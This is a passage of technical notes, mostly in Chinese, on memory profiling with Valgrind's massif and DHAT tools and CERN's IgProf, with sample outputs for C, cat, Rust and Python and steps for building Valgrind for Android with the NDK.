100.00% (180,224B) (page allocation syscalls) mmap/mremap/brk, --alloc-fns, etc.
->100.00% (180,224B) 0xFFFFFFFFFFFFFFFF: ???

--------------------------------------------------------------------------------
  n        time(B)         total(B)   useful-heap(B) extra-heap(B)    stacks(B)
--------------------------------------------------------------------------------
 10      2,285,568        2,285,568        2,285,568             0            0
 11      2,293,760        2,293,760        2,293,760             0            0
 12      2,416,640        2,416,640        2,416,640             0            0
 13      2,420,736        2,420,736        2,420,736             0            0
 14      6,230,016        6,230,016        6,230,016             0            0
 15      6,254,592        6,254,592        6,254,592             0            0
 16      6,270,976        6,270,976        6,270,976             0            0
 17      6,275,072        6,275,072        6,275,072             0            0
 18      6,393,856        6,156,288        6,156,288             0            0
100.00% (6,156,288B) (page allocation syscalls) mmap/mremap/brk, --alloc-fns, etc.
->97.07% (5,976,064B) 0x40183A9: mmap (in /usr/lib/ld-2.21.so)
| ->96.07% (5,914,624B) 0x40065CE: _dl_map_object_from_fd (in /usr/lib/ld-2.21.so)
| | ->96.07% (5,914,624B) 0x4008544: _dl_map_object (in /usr/lib/ld-2.21.so)
| |   ->61.88% (3,809,280B) 0x400CA60: openaux (in /usr/lib/ld-2.21.so)
| |   | ->61.88% (3,809,280B) 0x400EF92: _dl_catch_error (in /usr/lib/ld-2.21.so)
| |   |   ->61.88% (3,809,280B) 0x400CCC2: _dl_map_object_deps (in /usr/lib/ld-2.21.so)
| |   |     ->61.88% (3,809,280B) 0x400304C: dl_main (in /usr/lib/ld-2.21.so)
| |   |       ->61.88% (3,809,280B) 0x401643E: _dl_sysdep_start (in /usr/lib/ld-2.21.so)
| |   |         ->61.88% (3,809,280B) 0x4004D88: _dl_start (in /usr/lib/ld-2.21.so)
| |   |           ->61.88% (3,809,280B) 0x4000D86: ??? (in /usr/lib/ld-2.21.so)
| |   |
| |   ->34.20% (2,105,344B) 0x4000F63: map_doit (in /usr/lib/ld-2.21.so)
| |     ->34.20% (2,105,344B) 0x400EF92: _dl_catch_error (in /usr/lib/ld-2.21.so)
| |       ->34.20% (2,105,344B) 0x4000BCD: do_preload (in /usr/lib/ld-2.21.so)
| |         ->34.20% (2,105,344B) 0x4003580: dl_main (in /usr/lib/ld-2.21.so)
| |           ->34.20% (2,105,344B) 0x401643E: _dl_sysdep_start (in /usr/lib/ld-2.21.so)
| |             ->34.20% (2,105,344B) 0x4004D88: _dl_start (in /usr/lib/ld-2.21.so)
| |               ->34.20% (2,105,344B) 0x4000D86: ??? (in /usr/lib/ld-2.21.so)
| |
| ->01.00% (61,440B) in 1+ places, all below ms_print's threshold (01.00%)
|
->02.93% (180,224B) 0xFFFFFFFFFFFFFFFF: ???

--------------------------------------------------------------------------------
  n        time(B)         total(B)   useful-heap(B) extra-heap(B)    stacks(B)
--------------------------------------------------------------------------------
 19      6,397,952        6,152,192        6,152,192             0            0
 20      6,533,120        6,287,360        6,287,360             0            0

Valgrind - DHAT ¶

DHAT 是用來檢查程式如何使用 heap 的工具，會紀錄 allocate 的記憶體、每個記憶體存取 (找哪一塊記憶體) 等等。

使用參數：

--tool=exp-dhat : 選擇使用 massif

code：

// C

#include <stdlib.h>

int main () {
    // allocate a lot of heap memory, and then free without using it
    // and here may pay some heap memory for memory allocator
    char* c = malloc(sizeof(char) * 100);
    c[0] = 'a';
    c[7] = 'z';
    free(c);
    return 0;
}

Valgrind：

$ valgrind --tool=exp-dhat ./single-heap-more-char
==2607== DHAT, a dynamic heap analysis tool
==2607== NOTE: This is an Experimental-Class Valgrind Tool
==2607== Copyright (C) 2010-2013, and GNU GPL'd, by Mozilla Inc
==2607== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==2607== Command: ./single-heap-more-char
==2607==
==2607==
==2607== ======== SUMMARY STATISTICS ========
==2607==
==2607== guest_insns:  127,901
==2607==
==2607== max_live:     100 in 1 blocks
==2607==
==2607== tot_alloc:    100 in 1 blocks
==2607==
==2607== insns per allocated byte: 1,279
==2607==
==2607==
==2607== ======== ORDERED BY decreasing "max-bytes-live": top 10 allocators ========
==2607==
==2607== -------------------- 1 of 10 --------------------
==2607== max-live:    100 in 1 blocks
==2607== tot-alloc:   100 in 1 blocks (avg size 100.00)
==2607== deaths:      1, at avg age 912 (0.71% of prog lifetime)
==2607== acc-ratios:  0.00 rd, 0.02 wr  (0 b-read, 2 b-written)
==2607==    at 0x4C280B0: malloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==2607==    by 0x400557: main (single-heap-more-char.c:6)
==2607==
==2607== Aggregated access counts by offset:
==2607==
==2607== [   0]  1 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0
==2607== [  16]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==2607== [  32]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==2607== [  48]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==2607== [  64]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==2607== [  80]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==2607== [  96]  0 0 0 0
==2607==
==2607==
==2607==
==2607== ==============================================================
==2607==
==2607== Some hints: (see --help for command line option details):
==2607==
==2607== * summary stats for whole program are at the top of this output
==2607==
==2607== * --show-top-n=  controls how many alloc points are shown.
==2607==                  You probably want to set it much higher than
==2607==                  the default value (10)
==2607==
==2607== * --sort-by=     specifies the sort key for output.
==2607==                  See --help for details.
==2607==
==2607== * Each allocation stack, by default 12 frames, counts as
==2607==   a separate alloc point.  This causes the data to be spread out
==2607==   over far too many alloc points.  I strongly suggest using
==2607==   --num-callers=4 or some such, to reduce the spreading.
==2607==

Valgrind - Plugin Structure ¶

Valgrind Plugin Source Code Structure：

.
└── MYPLUGIN
    ├── docs
    │   └── ...
    ├── tests
    │   └── ...
    ├── Makefile.am
    ├── PLUGIN_main.c
    └── (maybe) other files

最上層的 folder 是 plugin 的名稱 (可能有 exp- 作為 prefix 表示 experimental)，接著 folder 裡會有 PLUGIN_main.c，裡面主要大概都會有以下 function (當然有另外的)：

PLUGIN_pre_clo_init
- regist by VG_DETERMINE_INTERFACE_VERSION
PLUGIN_post_clo_init
- regist by VG_(basic_tool_funcs) in PLUGIN_pre_clo_init
PLUGIN_instrument
- regist by VG_(basic_tool_funcs) in PLUGIN_pre_clo_init
PLUGIN_fini
- regist by VG_(basic_tool_funcs) in PLUGIN_pre_clo_init
PLUGIN_print_usage
- regist by VG_(needs_command_line_options) in PLUGIN_pre_clo_init
PLUGIN_print_debug_usage
- regist by VG_(needs_command_line_options) in PLUGIN_pre_clo_init
PLUGIN_process_cmd_line_option
- regist by VG_(needs_command_line_options) in PLUGIN_pre_clo_init

“clo” := “command line options”

實際專案測試 ¶

Valgrind for Unix-like command ¶

$ echo "hello" > test.txt
$ valgrind --tool=exp-dhat cat test.txt
==18771== DHAT, a dynamic heap analysis tool
==18771== NOTE: This is an Experimental-Class Valgrind Tool
==18771== Copyright (C) 2010-2013, and GNU GPL'd, by Mozilla Inc
==18771== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==18771== Command: cat test.txt
==18771==
==18771==
==18771== ======== SUMMARY STATISTICS ========
==18771==
==18771== guest_insns:  173,876
==18771==
==18771== max_live:     138,829 in 30 blocks
==18771==
==18771== tot_alloc:    138,834 in 31 blocks
==18771==
==18771== insns per allocated byte: 1
==18771==
==18771==
==18771== ======== ORDERED BY decreasing "max-bytes-live": top 10 allocators ========
==18771==
==18771== -------------------- 1 of 10 --------------------
==18771== max-live:    135,167 in 1 blocks
==18771== tot-alloc:   135,167 in 1 blocks (avg size 135167.00)
==18771== deaths:      1, at avg age 2,840 (1.63% of prog lifetime)
==18771== acc-ratios:  0.00 rd, 0.00 wr  (6 b-read, 6 b-written)
==18771==    at 0x4C280B0: malloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==18771==    by 0x405BE8: ??? (in /usr/bin/cat)
==18771==    by 0x402436: ??? (in /usr/bin/cat)
==18771==    by 0x4E4E78F: (below main) (in /usr/lib/libc-2.21.so)
==18771==
...
==18771==
==18771== -------------------- 4 of 10 --------------------
==18771== max-live:    120 in 1 blocks
==18771== tot-alloc:   120 in 1 blocks (avg size 120.00)
==18771== deaths:      1, at avg age 41,012 (23.58% of prog lifetime)
==18771== acc-ratios:  3.33 rd, 0.93 wr  (400 b-read, 112 b-written)
==18771==    at 0x4C280B0: malloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==18771==    by 0x4E59202: _nl_load_locale_from_archive (in /usr/lib/libc-2.21.so)
==18771==    by 0x4E5867A: _nl_find_locale (in /usr/lib/libc-2.21.so)
==18771==    by 0x4E57EEE: setlocale (in /usr/lib/libc-2.21.so)
==18771==    by 0x401AAB: ??? (in /usr/bin/cat)
==18771==    by 0x4E4E78F: (below main) (in /usr/lib/libc-2.21.so)
==18771==
==18771== Aggregated access counts by offset:
==18771==
==18771== [   0]  2 2 2 2 2 2 2 2 26 26 26 26 26 26 26 26
==18771== [  16]  3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3
==18771== [  32]  3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3
==18771== [  48]  3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3
==18771== [  64]  0 0 0 0 0 0 0 0 3 3 3 3 3 3 3 3
==18771== [  80]  3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3
==18771== [  96]  3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3
==18771== [ 112]  3 3 3 3 3 3 3 3
==18771==
...

Valgrind for Languages ¶

Rust ¶

把簡單的 Rust 程式 (空的 main) 丟下去跑，發現竟然有 heap allocation (而且看起來有用到 pthread)，後來知道是 Rust std 的 startup 做的，不過目前還不知道 std startup 會處理哪些事情 ...

進入點在這檔案的 lang_start : src/libstd/rt/mod.rs

code：

// compiling with "rustc -C opt-level=3 -C prefer-dynamic -g empty.rs"
fn main () {
}

Valgrind：

$ valgrind --tool=exp-dhat ./empty
==12190== DHAT, a dynamic heap analysis tool
==12190== NOTE: This is an Experimental-Class Valgrind Tool
==12190== Copyright (C) 2010-2013, and GNU GPL'd, by Mozilla Inc
==12190== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==12190== Command: ./empty
==12190==
==12190==
==12190== ======== SUMMARY STATISTICS ========
==12190==
==12190== guest_insns:  1,002,143
==12190==
==12190== max_live:     792 in 2 blocks
==12190==
==12190== tot_alloc:    856 in 4 blocks
==12190==
==12190== insns per allocated byte: 1,170
==12190==
==12190==
==12190== ======== ORDERED BY decreasing "max-bytes-live": top 10 allocators ========
==12190==
==12190== -------------------- 1 of 10 --------------------
==12190== max-live:    552 in 1 blocks
==12190== tot-alloc:   552 in 1 blocks (avg size 552.00)
==12190== deaths:      1, at avg age 133,882 (13.35% of prog lifetime)
==12190== acc-ratios:  6.06 rd, 2.56 wr  (3,348 b-read, 1,414 b-written)
==12190==    at 0x4C280B0: malloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==12190==    by 0x54A0B9C: __fopen_internal (in /usr/lib/libc-2.21.so)
==12190==    by 0x59E6F79: pthread_getattr_np (in /usr/lib/libpthread-2.21.so)
==12190==    by 0x4F1BC0E: rt::lang_start::hc2bc8270d37f18e3u3w (in /usr/lib/libstd-74fa456f.so)
==12190==    by 0x545878F: (below main) (in /usr/lib/libc-2.21.so)
==12190==
==12190== Aggregated access counts by offset:
==12190==
==12190== [   0]  227 223 223 223 0 0 0 0 215 215 215 215 215 215 215 215
==12190== [  16]  95 95 95 95 95 95 95 95 12 12 12 12 12 12 12 12
==12190== [  32]  17 17 17 17 17 17 17 17 12 12 12 12 12 12 12 12
==12190== [  48]  12 12 12 12 12 12 12 12 22 22 22 22 22 22 22 22
==12190== [  64]  9 9 9 9 9 9 9 9 10 10 10 10 10 10 10 10
==12190== [  80]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [  96]  8 8 8 8 8 8 8 8 3 3 3 3 3 3 3 3
==12190== [ 112]  14 14 14 14 13 5 5 5 0 0 0 0 0 0 0 0
==12190== [ 128]  1 1 0 0 0 0 0 0 5 5 5 5 5 5 5 5
==12190== [ 144]  7 7 7 7 7 7 7 7 0 0 0 0 0 0 0 0
==12190== [ 160]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [ 176]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 192]  9 9 9 9 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 208]  0 0 0 0 0 0 0 0 15 15 15 15 15 15 15 15
==12190== [ 224]  5 5 5 5 7 7 7 7 4 4 4 4 4 4 4 4
==12190== [ 240]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [ 256]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [ 272]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [ 288]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [ 304]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [ 320]  1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0
==12190== [ 336]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 352]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 368]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 384]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 400]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 416]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 432]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 448]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 464]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 480]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 496]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 512]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 528]  0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
==12190== [ 544]  1 1 1 1 1 1 1 1
==12190==
==12190== -------------------- 2 of 10 --------------------
==12190== max-live:    240 in 1 blocks
==12190== tot-alloc:   240 in 1 blocks (avg size 240.00)
==12190== deaths:      1, at avg age 128,384 (12.81% of prog lifetime)
==12190== acc-ratios:  28.90 rd, 21.05 wr  (6,936 b-read, 5,053 b-written)
==12190==    at 0x4C280B0: malloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==12190==    by 0x54A1837: getdelim (in /usr/lib/libc-2.21.so)
==12190==    by 0x59E701E: pthread_getattr_np (in /usr/lib/libpthread-2.21.so)
==12190==    by 0x4F1BC0E: rt::lang_start::hc2bc8270d37f18e3u3w (in /usr/lib/libstd-74fa456f.so)
==12190==    by 0x545878F: (below main) (in /usr/lib/libc-2.21.so)
==12190==
==12190== -------------------- 3 of 10 --------------------
==12190== max-live:    32 in 1 blocks
==12190== tot-alloc:   32 in 1 blocks (avg size 32.00)
==12190== deaths:      1, at avg age 4,949 (0.49% of prog lifetime)
==12190== acc-ratios:  0.00 rd, 1.50 wr  (0 b-read, 48 b-written)
==12190==    at 0x4C280B0: malloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==12190==    by 0x4C2A45F: realloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==12190==    by 0x59E6ED4: pthread_getattr_np (in /usr/lib/libpthread-2.21.so)
==12190==    by 0x4F1BC0E: rt::lang_start::hc2bc8270d37f18e3u3w (in /usr/lib/libstd-74fa456f.so)
==12190==    by 0x545878F: (below main) (in /usr/lib/libc-2.21.so)
==12190==
==12190== Aggregated access counts by offset:
==12190==
==12190== [   0]  1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
==12190== [  16]  2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
==12190==
==12190== -------------------- 4 of 10 --------------------
==12190== max-live:    32 in 1 blocks
==12190== tot-alloc:   32 in 1 blocks (avg size 32.00)
==12190== deaths:      1, at avg age 31,008 (3.09% of prog lifetime)
==12190== acc-ratios:  1.00 rd, 1.00 wr  (32 b-read, 32 b-written)
==12190==    at 0x4C2A1A0: calloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==12190==    by 0x546E2F1: __cxa_thread_atexit_impl (in /usr/lib/libc-2.21.so)
==12190==    by 0x4F050AC: sys_common::thread_info::set::h411b7bc6f4e0436cEwr (in /usr/lib/libstd-74fa456f.so)
==12190==    by 0x4F1BF32: rt::lang_start::hc2bc8270d37f18e3u3w (in /usr/lib/libstd-74fa456f.so)
==12190==    by 0x545878F: (below main) (in /usr/lib/libc-2.21.so)
==12190==
==12190== Aggregated access counts by offset:
==12190==
==12190== [   0]  2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
==12190== [  16]  2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2
==12190==
==12190==
==12190==
==12190== ==============================================================
==12190==
==12190== Some hints: (see --help for command line option details):
==12190==
==12190== * summary stats for whole program are at the top of this output
==12190==
==12190== * --show-top-n=  controls how many alloc points are shown.
==12190==                  You probably want to set it much higher than
==12190==                  the default value (10)
==12190==
==12190== * --sort-by=     specifies the sort key for output.
==12190==                  See --help for details.
==12190==
==12190== * Each allocation stack, by default 12 frames, counts as
==12190==   a separate alloc point.  This causes the data to be spread out
==12190==   over far too many alloc points.  I strongly suggest using
==12190==   --num-callers=4 or some such, to reduce the spreading.
==12190==

Python ¶

code：

# hello.py

print("Hello")

Valgrind：

$ valgrind python hello.py
==17971== Memcheck, a memory error detector
==17971== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==17971== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==17971== Command: python hello.py
==17971==
==17971== Invalid read of size 4
==17971==    at 0x4EDE88B: _PyObject_Free (obmalloc.c:1346)
==17971==    by 0x4EE7C25: tupledealloc (tupleobject.c:249)
==17971==    by 0x4EAE73E: code_dealloc (codeobject.c:365)
==17971==    by 0x4F5FA21: PyImport_ImportFrozenModuleObject (import.c:1275)
==17971==    by 0x4F5FAF9: PyImport_ImportFrozenModule (import.c:1291)
==17971==    by 0x4F6CE4D: import_init.isra.8 (pythonrun.c:283)
==17971==    by 0x4F6DA2E: _Py_InitializeEx_Private (pythonrun.c:449)
==17971==    by 0x4F82103: Py_Main (main.c:654)
==17971==    by 0x108C05: main (in /usr/bin/python3.4)
==17971==  Address 0x6030020 is 336 bytes inside a block of size 1,285 free'd
==17971==    at 0x4C2B200: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==17971==    by 0x4EAE6BE: code_dealloc (codeobject.c:364)
==17971==    by 0x4F5FA21: PyImport_ImportFrozenModuleObject (import.c:1275)
==17971==    by 0x4F5FAF9: PyImport_ImportFrozenModule (import.c:1291)
==17971==    by 0x4F6CE4D: import_init.isra.8 (pythonrun.c:283)
==17971==    by 0x4F6DA2E: _Py_InitializeEx_Private (pythonrun.c:449)
==17971==    by 0x4F82103: Py_Main (main.c:654)
==17971==    by 0x108C05: main (in /usr/bin/python3.4)
...
==17971==
==17971==
==17971== HEAP SUMMARY:
==17971==     in use at exit: 434,136 bytes in 341 blocks
==17971==   total heap usage: 7,684 allocs, 7,343 frees, 3,394,810 bytes allocated
==17971==
==17971== LEAK SUMMARY:
==17971==    definitely lost: 0 bytes in 0 blocks
==17971==    indirectly lost: 0 bytes in 0 blocks
==17971==      possibly lost: 2,888 bytes in 5 blocks
==17971==    still reachable: 431,248 bytes in 336 blocks
==17971==         suppressed: 0 bytes in 0 blocks
==17971== Rerun with --leak-check=full to see details of leaked memory
==17971==
==17971== For counts of detected and suppressed errors, rerun with: -v
==17971== Use --track-origins=yes to see where uninitialised values come from
==17971== ERROR SUMMARY: 631 errors from 56 contexts (suppressed: 0 from 0)

$ valgrind --tool=exp-dhat python hello.py
==18016== DHAT, a dynamic heap analysis tool
==18016== NOTE: This is an Experimental-Class Valgrind Tool
==18016== Copyright (C) 2010-2013, and GNU GPL'd, by Mozilla Inc
==18016== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==18016== Command: python hello.py
==18016==
==18016==
==18016== ======== SUMMARY STATISTICS ========
==18016==
==18016== guest_insns:  55,485,582
==18016==
==18016== max_live:     1,165,986 in 3,409 blocks
==18016==
==18016== tot_alloc:    3,020,163 in 7,049 blocks
==18016==
==18016== insns per allocated byte: 18
==18016==
==18016==
==18016== ======== ORDERED BY decreasing "max-bytes-live": top 10 allocators ========
==18016==
==18016== -------------------- 1 of 10 --------------------
==18016== max-live:    196,640 in 1 blocks
==18016== tot-alloc:   196,640 in 1 blocks (avg size 196640.00)
==18016== deaths:      none (none of these blocks were freed)
==18016== acc-ratios:  1.23 rd, 1.27 wr  (242,840 b-read, 251,368 b-written)
==18016==    at 0x4C280B0: malloc (in /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so)
==18016==    by 0x4EC776A: new_keys_object (dictobject.c:342)
==18016==    by 0x4EC9394: dictresize (dictobject.c:928)
==18016==    by 0x4EC9881: insertdict (dictobject.c:831)
==18016==    by 0x4F18614: PyUnicode_InternInPlace (unicodeobject.c:15074)
==18016==    by 0x4F5B8A9: r_object (marshal.c:1097)
==18016==    by 0x4F5BCFC: r_object (marshal.c:1313)
==18016==    by 0x4F5B27E: r_object (marshal.c:1123)
==18016==    by 0x4F5BC38: r_object (marshal.c:1283)
==18016==    by 0x4F5B27E: r_object (marshal.c:1123)
==18016==    by 0x4F5BC38: r_object (marshal.c:1283)
==18016==    by 0x4F5C22D: read_object (marshal.c:1381)
...
==18016==
==18016== Aggregated access counts by offset:
==18016==
==18016== [   0]  1799 1799 1799 1799 1799 1799 1799 1799 561 561 561 561 561 561 561 561
==18016== [  16]  6082 6082 6082 6082 6082 6082 6082 6082 13139 13139 13139 13139 13139 13139 13139 13139
==18016== [  32]  7513 7513 7513 7513 7512 7512 7512 7512 1667 1667 1667 1667 1667 1667 1667 1667
==18016== [  48]  211 211 211 211 211 211 211 211 693 693 693 693 693 693 693 693
==18016== [  64]  1111 1111 1111 1111 1111 1111 1111 1111 1431 1431 1431 1431 1431 1431 1431 1431
==18016== [  80]  106 106 106 106 106 106 106 106 383 383 383 383 383 383 383 383
...

IgProf ¶

Introduction ¶

CERN (歐洲核子研究組織) 在跑 LHC (大型強子對撞機) 做研究時，也會需要寫大量的軟體來做運算，其中的 CMS (Compact Muon Solenoid) 是個粒子偵測器，用來觀察在 LHC 裡高能量碰撞下所產生的粒子和現象，而 CMSSW 則是 CMS 的軟體的簡稱。 CMSSW 中大約有五百萬行自己寫的程式碼 (包含 C++、Python、Fortran)，這當中一個重要的問題就是記憶體，這樣大的程式會需要工具來幫忙找出記憶體相關的問題 (例如 memory leak)，在 2003 年認為等 Valgrind 完善不是一個好選擇 (Valgrind 當時為 1.9.x 版)，於是先花了一天寫了叫做 MemProfLib 的 prototype。

MemProfLib 大概做到了這些事：

Malloc Hooks
- 用 __malloc_hook 來監控 allocation/deallocation，程式結束時還沒 deallocation 的資源就就回報說可能是 leak
- 用 LD_PRELOAD 把 code 塞進去
- 用 atexit 來 dump
Flat output
- 輸出成 xml，並用 XSLT 做分析
Instant gratification
- 在設計整套工具前，證實是可以 work 的

在這後來產生了 IgProf (The Ignominious Profiler)，設計走向是要做 performance 和 memory 的 profiling (包含 backtrace)，而且不需要 kernel 支援、不需要 superuser 的權限，目標用戶當然是在 CMS 的人們，並且要支援多個平台 (x86、x86_64、ARM32、ARM64)。

這時已經幾件事情要注意了：

避免 platform specific API，
- 例如 glibc 的 __malloc_hook
彈性
- 預期不只 hook malloc (還會有例如 read/write 需要 hook)
安全性
- 除了一般的 malloc 外，還需要 hook 可能會干擾 profiler 的 function (例如 fork)
- 可能還需要關掉一些東西 (例如 explicit call to signal)
- 最後可以放心的 hook 到 exit 和 _exit 來 dump 出 profile 結果

IgProf 的內部大概有這些東西：

Dynamic instrumentation (IgHook)
Memory (by hooking into malloc) and performance profiler (via SIGPROF / SIGALRM)
Full backtrace information (via libunwind)
Analyser tool (igprof-analyse)
Simple web frontend (igprof-navigator)

在找 backtrace 的時候，原本是用 backtrace() ，但後來為了 reliability 而改用 libunwind 。在使用過程中，因為要跑的程式每秒都有大量的 allocations，所以 memory profiling 會變得太慢 (因為很多 unwindings)，後來改進了 libunwind 裡的作法，不做完整的 DWARF unwind，只做簡單的 stack walk，行不通時才 fallback 回去做完整的 unwind。後來貢獻回 libunwind，分別有 x86_64 (by Lassi Tuura) 和 ARM32/ARM64 (by Filip Nybäck) 的實作，其中據說有人的程式 profiling 獲得了 30x 的加速 !?

使用 ¶

$ LD_PRELOAD=/tmp/lib/libigprof.so igprof -j -d -mp -z -o igprof.mp.gz ./hello
$ igprof-analyse --sqlite -d -v -g igprof.mp.gz | sqlite3 igprof.sqlite3
$ igprof-navigator igprof.sqlite3   # open web view

$ LD_PRELOAD=/tmp/lib/libigprof.so igtrace -tm bin/single-heap-vector
*** MALLOC 1048544 bytes => 0x7f270794a010, by bin/single-heap-vector [thread 139805608687424 pid 19071]
*** MALLOC 1048544 bytes => 0x7f2706094010, by bin/single-heap-vector [thread 139805608687424 pid 19071]
*** MALLOC 400 bytes => 0x11b1d20, by bin/single-heap-vector [thread 139805608687424 pid 19071]

$ LD_PRELOAD=/tmp/lib/libigprof.so igtrace -d  bin/single-heap-vector
*** IgProf(19149, 1436687497.170): tracing activated in bin/single-heap-vector
*** IgProf(19149, 1436687497.170): tracing options: throw
*** IgProf(19149, 1436687497.171): __cxa_throw (0x7ffaaeb49b90): instrumenting 6 bytes into 0x7ffaaf29d004
*** IgProf(19149, 1436687497.171): tracing exceptions thrown

$ LD_PRELOAD=/tmp/lib/libigprof.so igtrace -d -tm bin/single-heap-vector
*** IgProf(19136, 1436687479.637): tracing activated in bin/single-heap-vector
*** IgProf(19136, 1436687479.637): tracing options: mem
*** IgProf(19136, 1436687479.637): malloc (0x7fc0fa5d4850): instrumenting 6 bytes into 0x7fc0fb5f7004
*** IgProf(19136, 1436687479.637): malloc (0x7fc0fa5d4850): hook trampoline already installed, ignoring
*** IgProf(19136, 1436687479.638): tracing memory allocations
*** MALLOC 1048544 bytes => 0x7fc0fb6cc010, by bin/single-heap-vector [thread 140466829711168 pid 19136]
*** MALLOC 1048544 bytes => 0x7fc0f9e16010, by bin/single-heap-vector [thread 140466829711168 pid 19136]
*** MALLOC 400 bytes => 0xaefd20, by bin/single-heap-vector [thread 140466829711168 pid 19136

Running Valgrind on Android ¶

Valgrind - README.android
Android NDK (Native Development Kit)
- toolset 讓 programmer 可以用 native-code language (例如 C、C++) 來撰寫 Android 上的程式

下載 android-ndk-r10e-linux-x86_64.bin 和 Valgrind source code 來編

Valgrind SVN ¶

Valgrind	r15403 (2015-07-08)
Android NDK	android-ndk-r10e-linux-x86_64.bin
Platform	Android 21 (ARM)
Target CPU	ARMv7
Toolchain	GCC 4.9 (ARM, Android EABI)

$ wget http://dl.google.com/android/ndk/android-ndk-r10e-linux-x86_64.bin
$ chmod u+x android-ndk-r10e-linux-x86_64.bin
$ ./android-ndk-r10e-linux-x86_64.bin
$ export NDKROOT=/path/to/android-ndk-r10e  # modify your path

# build Valgrind
$ svn co svn://svn.valgrind.org/valgrind/trunk valgrind
$ cd valgrind
$ export AR=$NDKROOT/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-ar
$ export LD=$NDKROOT/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-ld
$ export CC=$NDKROOT/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc
$ ./autogen.sh
$ CPPFLAGS="--sysroot=$NDKROOT/platforms/android-21/arch-arm" \
      CFLAGS="--sysroot=$NDKROOT/platforms/android-21/arch-arm" \
      ./configure --prefix=/data/local/Inst \
      --host=armv7-unknown-linux --target=armv7-unknown-linux \
      --with-tmpdir=/sdcard
$ make -j8
$ make -j8 install DESTDIR=`pwd`/Inst
$ file Inst/data/local/Inst/bin/valgrind    # Check
Inst/data/local/Inst/bin/valgrind: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped

這邊編譯時有遇到 conflicting types for 'Elf32_Nhdr' 的問題，後來去 coregrind/m_coredump/coredump-elf.c 裡面把那部份的 code 刪掉就可以了，與此同時發現有人送過 bug report、patch ，不過看來現在還沒 merge 進 Valgrind SVN，另外 AOSP 的 Valgrind 則是在 6 個禮拜前修了這個問題。

Valgrind SVN (round 2)¶

Valgrind	r15574 (2015-08-21)
Android NDK	android-ndk-r10e-linux-x86_64.bin
Platform	Android 21 (ARM)
Target CPU	ARMv7
Toolchain	GCC 4.9 (ARM, Android EABI)

AOSP Valgrind ¶

AOSP 版的 Valgrind 有針對 Android 修正編譯問題以及其他的調整

Valgrind	721e6a4 (2015-06-16)
Android NDK	android-ndk-r10e-linux-x86_64.bin
Platform	Android 21 (ARM)
Target CPU	ARMv7
Toolchain	GCC 4.9 (ARM, Android EABI)

$ wget http://dl.google.com/android/ndk/android-ndk-r10e-linux-x86_64.bin
$ chmod u+x android-ndk-r10e-linux-x86_64.bin
$ ./android-ndk-r10e-linux-x86_64.bin
$ export NDKROOT=/path/to/android-ndk-r10e  # modify your path

# build Valgrind
$ git clone https://android.googlesource.com/platform/external/valgrind/
